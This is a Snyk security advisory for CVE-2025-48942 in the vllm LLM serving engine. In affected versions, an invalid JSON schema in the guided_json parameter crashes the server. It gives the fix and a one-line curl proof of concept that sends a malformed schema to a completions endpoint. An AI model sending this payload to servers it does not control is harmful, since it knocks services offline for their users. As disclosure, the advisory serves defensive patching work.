Uncaught Exception Affecting vllm package, versions [0.8.0,0.9.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-VLLM-10260425
- published29 May 2025
- disclosed28 May 2025
- creditDerek Higgins
Introduced: 28 May 2025
CVE-2025-48942 (opens in a new tab)How to fix?
Upgrade vllm to version 0.9.0 or higher.
Overview
vllm is an A high-throughput and memory-efficient inference and serving engine for LLMs
Affected versions of this package are vulnerable to Uncaught Exception through the guided_json parameter when using xgrammar validation. An attacker can cause the application to crash by sending an invalid JSON schema.
PoC
curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'